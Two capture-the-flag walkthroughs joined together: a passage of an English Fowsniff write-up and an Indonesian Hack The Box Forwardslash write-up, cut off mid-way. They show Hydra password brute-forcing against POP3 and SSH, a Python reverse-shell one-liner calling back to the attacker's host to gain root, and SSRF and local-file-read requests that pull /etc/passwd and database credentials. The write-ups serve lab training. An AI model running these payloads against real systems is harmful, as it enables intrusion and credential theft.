10.10.137.20:110 - 10.10.137.20:110 - Failed: 'stone:skyler22', '' ~~~ However, Hydra is faster: ~~~ kali@kali:/data/Fowsniff_CTF/files$ hydra -L usernames.txt -P passwords.txt pop3://10.10.137.20 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-03 19:05:30 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [DATA] max 16 tasks per 1 server, overall 16 tasks, 72 login tries (l:9/p:8), ~5 tries per task [DATA] attacking pop3://10.10.137.20:110/ [110][pop3] host: 10.10.137.20 login: seina password: scoobydoo2 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-03 19:06:24 ~~~ We confirm that 1 account is still valid: `seina:scoobydoo2` # #7 - What was seina's password to the email service? Answer: `scoobydoo2` # #8 - Can you connect to the pop3 service with her credentials? What email information can you gather? *Hint: Use netcat with the port 110 to view her emails. `nc <ip> 110`* Let's connect to the POP3 service. We successfully connect as seina and find 2 emails. ~~~ $ telnet 10.10.137.20 110 Trying 10.10.137.20... Connected to 10.10.137.20. Escape character is '^]'. +OK Welcome to the Fowsniff Corporate Mail Server! user seina +OK pass scoobydoo2 +OK Logged in. list +OK 2 messages: 1 1622 2 1280 . ~~~ First email: ~~~ retr 1 +OK 1622 octets Return-Path: <stone@fowsniff> X-Original-To: seina@fowsniff Delivered-To: seina@fowsniff Received: by fowsniff (Postfix, from userid 1000) id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT) To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff Subject: URGENT! Security EVENT! Message-Id: <20180313185107.0FA3916A@fowsniff> Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT) From: stone@fowsniff (stone) Dear All, A few days ago, a malicious actor was able to gain entry to our internal email systems. The attacker was able to exploit incorrectly filtered escape characters within our SQL database to access our login credentials. Both the SQL and authentication system used legacy methods that had not been updated in some time. We have been instructed to perform a complete internal system overhaul. While the main systems are "in the shop," we have moved to this isolated, temporary server that has minimal functionality. This server is capable of sending and receiving emails, but only locally. That means you can only send emails to other users, not to the world wide web. You can, however, access this system via the SSH protocol. The temporary password for SSH is "S1ck3nBluff+secureshell" You MUST change this password as soon as possible, and you will do so under my guidance. I saw the leak the attacker posted online, and I must say that your passwords were not very secure. Come see me in my office at your earliest convenience and we'll set it up. Thanks, A.J Stone . ~~~ Second email: ~~~ retr 2 +OK 1280 octets Return-Path: <baksteen@fowsniff> X-Original-To: seina@fowsniff Delivered-To: seina@fowsniff Received: by fowsniff (Postfix, from userid 1004) id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT) To: seina@fowsniff Subject: You missed out! Message-Id: <20180313185405.101CA1AC2@fowsniff> Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT) From: baksteen@fowsniff Devin, You should have seen the brass lay into AJ today! We are going to be talking about this one for a looooong time hahaha. Who knew the regional manager had been in the navy? She was swearing like a sailor! I don't know what kind of pneumonia or something you brought back with you from your camping trip, but I think I'm coming down with it myself. How long have you been gone - a week? Next time you're going to get sick and miss the managerial blowout of the century, at least keep it to yourself! I'm going to head home early and eat some chicken soup. I think I just got an email from Stone, too, but it's probably just some "Let me explain the tone of my meeting with management" face-saving mail. I'll read it when I get back. Feel better, Skyler PS: Make sure you change your email password. AJ had been telling us to do that right before Captain Profanity showed up. . ~~~ # #9 - Looking through her emails, what was a temporary password set for her? Answer: `S1ck3nBluff+secureshell` # #10 - In the email, who send it? Using the password from the previous question and the senders username, connect to the machine using SSH. Extracting the list of recipients of the email, we can use hydra to confirm what user has not changed the password: ~~~ kali@kali:/data/Fowsniff_CTF/files$ hydra -L sshusers.txt -p S1ck3nBluff+secureshell ssh://10.10.137.20 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-03 20:14:43 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task [DATA] attacking ssh://10.10.137.20:22/ [22][ssh] host: 10.10.137.20 login: baksteen password: S1ck3nBluff+secureshell 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-03 20:14:47 ~~~ We can now connect as `baksteen` against the SSH service: ~~~ $ ssh [email protected] ~~~ # #11 - Once connected, what groups does this user belong to? Are there any interesting files that can be run by that group? *Hint: cube.sh* Baksteen belongs to the `users` group. Listing the files owned by this group reveals an interesting file (a shell script): ~~~ baksteen@fowsniff:~$ id uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen) baksteen@fowsniff:~$ find / -type f -group users 2>/dev/null /opt/cube/cube.sh [REDACTED] ~~~ The script `/opt/cube/cube.sh` is interesting because it displays the banner that is displayed when we connect to the SSH service. Besides, we can modify it. ~~~ kali@kali:/data/Fowsniff_CTF/files$ ssh [email protected] [email protected]'s password: _____ _ __ __ :sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _| :yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_ .sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _| -: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_| -: y. dssssssso ____ -: y. dssssssso / ___|___ _ __ _ __ -: y. dssssssso | | / _ \| '__| '_ \ -: o. dssssssso | |__| (_) | | | |_) | _ -: o. yssssssso \____\___/|_| | .__/ (_) -: .+mdddddddmyyyyyhy: |_| -: -odMMMMMMMMMMmhhdy/. .ohdddddddddddddho: Delivering Solutions **** Welcome to the Fowsniff Corporate Server! **** ---------- NOTICE: ---------- * Due to the recent security breach, we are running on a very minimal system. * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords. Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36 ~~~ This means that we can replace its content with a reverse shell. # #12 - Now you have found a file that can be edited by the group, can you edit it to include a reverse shell? We can get a python reverse shell from [pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). Let's replace the content of `/opt/cube/cube.sh` with this code: ~~~ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ~~~ # #13 **If you have not found out already, this file is run as root when a user connects to the machine using SSH. We know this as when we first connect we can see we get given a banner (with fowsniff corp). Look in `/etc/update-motd.d/` file. If (after we have put our reverse shell in the cube file) we then include this file in the motd.d file, it will run as root and we will get a reverse shell as root!** *Hint: Run the cube file to the motd.d file.* We can confirm that the `/opt/cube/cube.sh` script is present in `/etc/update-motd.d/00-header`. The `motd` (Message of the Day) daemon is responsible for displaying a message on an SSH connection and it is executed by `root`. ~~~ baksteen@fowsniff:/etc/update-motd.d$ grep cube * 00-header:sh /opt/cube/cube.sh ~~~ # #14 - Start a netcat listener (nc -lvp 1234) and then re-login to the SSH service. You will then receive a reverse shell on your netcat session as root! Let's disconnect from our SSH session, and open a listener (adapt the port to fit with the one mentioned in the reverse shell): ~~~ $ rlwrap nc -nlvp 4444 ~~~ Now, when we reconnect with SSH, we have a root shell in listener window: ~~~ kali@kali:/data/Fowsniff_CTF/files$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.137.20] 38714 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls -la total 28 drwx------ 4 root root 4096 Mar 9 2018 . drwxr-xr-x 22 root root 4096 Mar 9 2018 .. -rw-r--r-- 1 root root 3117 Mar 9 2018 .bashrc drwxr-xr-x 2 root root 4096 Mar 9 2018 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 5 root root 4096 Mar 9 2018 Maildir -rw-r--r-- 1 root root 582 Mar 9 2018 flag.txt # cat flag.txt ___ _ _ _ _ _ / __|___ _ _ __ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| | | (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_| \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_) |___/ (_) |-------------- |&&&&&&&&&&&&&&| | R O O T | | F L A G | |&&&&&&&&&&&&&&| |-------------- | | | | | | --- Nice work! This CTF was built with love in every byte by @berzerk0 on Twitter. Special thanks to psf, @nbulischeck and the whole Fofao Team. ~~~
# Walkthrough Forwardslash HTB ## Prolog Assalamualaikum warahmatullahi wabarakatuh, Disituasi pandemic #COVID19 dan Bulan suci Ramadhan, Saya dan teman-teman di group discord yang isinya teman-teman `hacker` Dunia Maya saya hampir tiap malam sekarang Live untuk hacking mesin di `Hack The Box` (HTB). Kita mengerjakan mesin ini sama-sama, Berfikir bersama dan pusing bersama. Alasan saya menulis `WriteUp` / `Walkthrough` mesin `Forwardslash` ini adalah, Karena bagi saya pribadi mesin ini Sangat-sangat sulit, Kami semua harus membangkitkan Ilmu kanuragan dan perdukunan yang terpendam. Kesulitan mesin ini secara pribadi terletak pada proses `reconnaissance` yang mana benar benar harus menggunakan `Super Common Wordlist` Untuk proses `Enumerasi` menemukan Jalan masuk ke Challenge sebenarnya. Sebenarnya kami/saya tidak terjebak dalam `Rabbit Hole` sehingga cukup lama mengerjakan mesin ini, Sekitar 4-5 Hari. Kami terpaku ke hal-hal yang sifatnya sederhana, Namun saya/kami semua terlalu malas untuk memahami challenge ini sebenarnya ngapain. Di Pagi hari, Saat pikiran masih fresh saya sendirian membaca `Main` challengenya berupa binary dan akhirnya paham ini challenge maunya apa. Thanks to mas @kodok ngancani saya ngebuat exploitnya dan bertukar informasi. ## Stuktur dan Informasi Challenge - URL Challenge => https://www.hackthebox.eu/home/machines/profile/239 - Base Point => 40 - IP Challenge => 10.10.10.183 - Days Old => 32 (Saat kita/saya solving -1 berati 31) (32 Saat menulis tulisan ini) Dalam mesin/challenge ini, Terdapat 2 user linux sebagai main challenge (chiv dan pain), dan 1 web challenge sebagai jalan masuk menuju shell. Tempat mendapatkan Web Challenge kami nilai cukup lama 2 harian. Bukan karena sulit, Tapi karena cukup atau sangat `guessing`. Main challenge webnya saya kerjakan cukup mudah, Dengan common attack `Local File Read` dan sedikit `SSRF`. # Proof of concept ## Reconnaissance Penulis pertama-tama melakukan Scanning dengan menggunakan `nmap` untuk mengetahui informasi apa saja yang bisa didapatkan dari IP tersebut. ```sh nmap -sV -A 10.10.10.183 ``` Dan mendapatkan output sebagai berikut. ``` Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 10:03 SE Asia Standard Time Nmap scan report for forwardslash.htb (10.10.10.183) Host is up (0.12s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA) | 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA) |_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Backslash Gang No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=5/7%OT=22%CT=1%CU=33160%PV=Y%DS=2%DC=T%G=Y%TM=5EB37ADC OS:%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A) OS:OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54D OS:ST11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+% OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A= OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 120.00 ms 10.10.14.1 2 120.00 ms forwardslash.htb (10.10.10.183) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 78.07 seconds ``` Dalam hasil scanning di atas, Bisa dilihat hanya ada 2 port yang menjadi main challenge mesin ini. 1. 80 -> Port HTTP (Web Challenge) 2. 22 -> Port SSH Dikarenakan port 80 sudah dipastikan Web Challenge, Maka langsungd dibuka di browser, Alamat IP nya. Namun tidak medapatkan respon apapun. Berikut hasil curl yang penulis lakukan. ```sh curl 10.10.10.183 -vvv ``` Dan mendapatkan Output. ``` * Rebuilt URL to: 10.10.10.183/ * Trying 10.10.10.183... * TCP_NODELAY set * Connected to 10.10.10.183 (10.10.10.183) port 80 (#0) > GET / HTTP/1.1 > Host: 10.10.10.183 > User-Agent: curl/7.55.1 > Accept: */* > < HTTP/1.1 302 Found < Date: Thu, 07 May 2020 03:10:49 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: http://forwardslash.htb < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 10.10.10.183 left intact ``` Seperti terlihat, Mendapatkan respon code `302` Yang artinya `Redirect Found` Referensi bisa dibaca pada tautan [berikut](https://developer.mozilla.org/id/docs/Web/HTTP/Status). Jadi karena requests kita diarahkan ke `Location: http://forwardslash.htb` Sementara kita tidak mempunyai domain itu, Kita bisa melakukan binding host di Localhost kita. Dengan cara. 1. Windows -> `C:\Windows\System32\drivers\etc\hosts` 2. Linux -> `/etc/host` Kita cukup menambahkan host baru yang mengarah pada `forwardslash.htb` pada bagian bawah `hosts` file. Seperti di bawah ini contohnya. ``` 10.10.10.183 forwardslash.htb ``` Setelah itu kita ping `forwardslash.htb` pastikan response ipnya adalah `10.10.10.183` ```sh ping forwardslash.htb ``` Dan harus mendapatkan output seperti ini ``` Pinging forwardslash.htb [10.10.10.183] with 32 bytes of data: Reply from 10.10.10.183: bytes=32 time=126ms TTL=63 Reply from 10.10.10.183: bytes=32 time=168ms TTL=63 Reply from 10.10.10.183: bytes=32 time=124ms TTL=63 Reply from 10.10.10.183: bytes=32 time=126ms TTL=63 Ping statistics for 10.10.10.183: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 124ms, Maximum = 168ms, Average = 136ms ``` ### Tampilan web forwardslash.htb Seperti ini tampilan web jika dibuka menggunakan browser. ![Tampilan Web](./img/tampilanweb.png) Web ini ceritanya terkena Deface, Setelah dilakukan CTL+U untuk membaca source codenya `Tidak Ada Hal Hal Menarik Apapun`. #### Reconnaissance Web Kami melakukan file dan dir scanning menggunakan alat alat berikut. - Opendoor - Dirsearch - ffuf Dengan menggunakan Common Wordlist dari masing masing aplikasi. `Tidak menghasilkan apapun`. Alias tidak ada dir/file yang berguna. Di sini lah letak stuck kami yang pertama, Saya coba berkali-kali tidak mendapatkan apapun. Di hari selanjutnya saya mencari-cari sebuah common wordlist, Lalu mencobanya lagi denga aplikasi ffuf. ```cmd ffuf.exe -w ..\worldlist\common.txt -u "http://forwardslash.htb/FUZZ" -mc 200,403 -v ``` Lalu cukup shock mendapatkan result seperti berikut. ``` [Status: 200, Size: 281, Words: 20, Lines: 10] | URL | http://forwardslash.htb/note.txt * FUZZ: note.txt ``` Seperti inilah jika `note.txt` dibuka menggunakan browser. Namun saya tampilkan dengan `curl` saja. Males SS hehe. ```sh http://forwardslash.htb/note.txt ``` Mendapatkan response ``` Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine. -chiv ``` Dari note yang ditinggalkan tersebut. Kita pasti sudah mengira, Bahwa kata yang harus disorot adalah `backup`. Dan mulai melakukan scanning dengan berfokus kata `backup`. Singkat cerita, Semua wordlist yang kami coba untuk scanning hal hal yang berkaitan dengan `backup` tidak menghasilkan apapun. Alias gak ada apapun di web `http://forwardslash.htb`. Karena stuck seperti biasa saya tinggal ini challenge untuk melakukan pekerjaan saya. Kebetulan pekerjaan saya melakukan setting subdomain, Dan tiba-tiba terfikir untuk membinding lagi subdomain `backup.forwardslash.htb` pada file `host`, Seperti berikut. ``` 10.10.10.183 forwardslash.htb 10.10.10.183 backup.forwardslash.htb ``` Dan benar saya, Setelah `http://backup.forwardslash.htb` dibuka di browser. Hmmm mendapatkan respons valid beserta main challengenya. Hehe sumpah `guessing` banget. Berikut tampilannya. ![Backup Tampilan Web](./img/backupforwardslash.png) Oke, Karena sudah menemukan main challengenya, Lakukan scanning, Dengan `dirsearch`. ```sh python3 dirsearch.py -u "http://backup.forwardslash.htb/login.php" -e php,html,xml,sql,txt ``` Dan mendapatkan hasil seperti berikut. ``` [10:51:20] 200 - 0B - /config.php [10:51:25] 301 - 332B - /dev -> http://backup.forwardslash.htb/dev/ [10:51:25] 403 - 65B - /dev/ [10:51:37] 302 - 1B - /index.php -> login.php [10:51:38] 302 - 1B - /index.php/login/ -> login.php [10:51:43] 200 - 1KB - /login.php [10:52:01] 200 - 1KB - /register.php ``` File, File yang ditemukan tersebut cukup penting untuk proses selanjutnya. Tapi mari kita lanjutkan prosesnya, Dengan mencoba setiap fitur web tersebut. - Tampilan `register.php` ![Backup Tampilan Web](./img/tampilanregister.png) Cukup register dengan username bebas dan password yang lebih dari 8 karakter. - Tampilan setelah login ![Backup Tampilan Web](./img/tampilanwelcome.png) - Tampilan fitur `Reset Password` ![Backup Tampilan Web](./img/tampilanrpass.png) - Tampilan fitur `Reset Username` ![Backup Tampilan Web](./img/tampilanruname.png) - Tampilan fitur `Change Photo Profile` ![Backup Tampilan Web](./img/tampilanpp.png) - Tampilan fitur `Quick Message` ![Backup Tampilan Web](./img/tampilanqm.png) Pesan yang sangat bagus teman teman! - Tampilan fitur `Hall of Fame` ![Backup Tampilan Web](./img/tampilanhof.png) #### Exploting Web For Phun Celah utamanya adalah pada fitur, `Change Photo Profile`. Dengan semua fitur terdisabled kita cukup bypass dengan `inspect element` dan menghilangkan `attribute` `disabled`. - HTML Asli ![Backup Tampilan Web](./img/formdisable.png) - Setelah diedit ![Backup Tampilan Web](./img/formfix.png) Karena fiturnya menerima inputan berupa `url` saya berinisiatif mencari sebuah `url gambar` valid, untuk dimasukan kedalam `form` tersebut. ![Backup Tampilan Web](./img/urlform.png) Dan mengecheck reponse pada tab jaringan. - Requests Body Post ![Backup Tampilan Web](./img/rurl.png) - Response URL ![Backup Tampilan Web](./img/resurl.png) - Response Time ![Backup Tampilan Web](./img/restime.png) Pada response timing sangat lama `7 detik` Saya berasumsi, Fitur ini berjalan dengan menggunakan `curl` atau `file_get_contents` untuk melakukan requests ke url yang kita inputkan. Lalu saya mencoba melakukan semi automasi dengan menggunakan `curl`. Kita bisa langsung mencopy `curl` requests nya dari browser dengan cara ini, Thanks @laztname sudah diajari. ![Backup Tampilan Web](./img/curlpost.png) Seperti inilah hasil copy urlnya. ```sh curl "http://backup.forwardslash.htb/profilepicture.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Accept-Language: id,en-US;q=0.7,en;q=0.3" --compressed -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://backup.forwardslash.htb" -H "Connection: keep-alive" -H "Referer: http://backup.forwardslash.htb/profilepicture.php" -H "Cookie: PHPSESSID=f7j7mmjjk2php0nke28n38upr5" -H "Upgrade-Insecure-Requests: 1" --data "url=https"%"3A"%"2F"%"2Fcdn.idntimes.com"%"2Fcontent-images"%"2Fcommunity"%"2F2020"%"2F03"%"2F230556-0f1177963ba6ed033faf9a2152b5ae08_600x400.jpg" ``` Jika menggunakan windows cukup hilangkan flag `--compressed`. Pada bagian `--data` dengan parameter `url` kita bisa mengantinya dengan inputan semau kita, Karena memang tidak ada `csrf` token. Karena saya dari awal berasumsi, Ini fitur menggunakan `curl` atau `file_get_contents` maka saya memasukan parameter `url` dengan `index.php`. Berikut hasilnya. - Request `index.php` ```sh curl "http://backup.forwardslash.htb/profilepicture.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Accept-Language: id,en-US;q=0.7,en;q=0.3" -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://backup.forwardslash.htb" -H "Connection: keep-alive" -H "Referer: http://backup.forwardslash.htb/profilepicture.php" -H "Cookie: PHPSESSID=f7j7mmjjk2php0nke28n38upr5" -H "Upgrade-Insecure-Requests: 1" --data "url=index.php" ``` - Response ``` Permission Denied; not that way ;) ``` Hmmm sepertinya ada sebuah filter. - Request `config.php` - Response ```php <?php //credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'www-data'); define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec'); define('DB_NAME', 'site'); /* Attempt to connect to MySQL database */ $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?> ``` Hmmm Kok valid? Apakah memfilter sebuah nama_file? Mungkin saja. Karena ada sebuah credential, Saya mencoba login ssh, Hmm tetap saja tidak bisa. Lanjutkan enum. File file yang saya coba ambil dan mendapatkan response `Permission Denied; not that way ;)` - login.php - resetpassword.php - resetpassword.php - profilepicture.php - index.php - welcome.php File file yang sukses saya ambil. - ../../../../../../../../../etc/passwd ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin pain:x:1000:1000:pain:/home/pain:/bin/bash chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false ``` - ../../../../../../../../../etc/apache2/sites-available/000-default.conf ```apache2 <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet ``` - ../../../../../../../../../etc/apache2/sites-available/backup.forwardslash.htb.conf ``` # Place any notes or comments you have here # It will make any customisation easier to understand in the weeks to come # domain: backup.forwardslash.htb # public: /var/www/backup.forwardslash.htb/ <VirtualHost *:80> # Admin email, Server Name (domain name) and any aliases ServerAdmin [email protected] ServerName backup.forwardslash.htb ServerAlias backup.forwardslash.htb # Index file and Document Root (where the public files are located) #DirectoryIndex index.html index.php index DirectoryIndex welcome.php index.php DocumentRoot /var/www/backup.forwardslash.htb/ # Custom log file locations LogLevel warn ErrorLog /var/log/apache2/error-backup.forwardslash.htb.log CustomLog /var/log/apache2/access-backup.forwardslash.htb.log combined </VirtualHost> ``` Penulis menyadari bahwa - forwardslash.htb -> /var/www/html/ - backup.forwardslash.htb -> /var/www/backup.forwardslash.htb/ Lalu penulis mencoba mengambil file `/var/www/html/index.php` karena sebelumnya penulis merequest, `index.php` namun terkena blocking, Maka jika asumsi penulis jika ada sebuah filtername, Mengambil `/var/www/html/index.php` juga seharusnya tidak bisa. Namun ternyata reponsenya valid. ```php <?php //if ($_SERVER['SERVER_NAME'] !== "forwardslash.htb") { if ($_SERVER['SERVER_NAME'] !== "forwardslash.htb") { header("Location: http://forwardslash.htb"); exit; } ?> //dipotong karena terlalu panjang. ``` Nah dari sini penulis mulai menyadari lagi, bahwa yang diblock bukanlah nama filenya, Namun isi dari kontennya. Maka dari itu menulis mulai mencoba menggunakan `php wrapper` untuk memanipulasi isi dari responsenya dengan mengconvert menggunakan. ``` php://filter/convert.base64-encode/resource=index.php ``` dan mendapatkan hasil base64 encode yang valid. ```sh curl "http://backup.forwardslash.htb/profilepicture.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Accept-Language: id,en-US;q=0.7,en;q=0.3" -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://backup.forwardslash.htb" -H "Connection: keep-alive" -H "Referer: http://backup.forwardslash.htb/profilepicture.php" -H "Cookie: PHPSESSID=f7j7mmjjk2php0nke28n38upr5" -H "Upgrade-Insecure-Requests: 1" --data "url=php://filter/convert.base64-encode/resource=index.php" ``` Response ``` 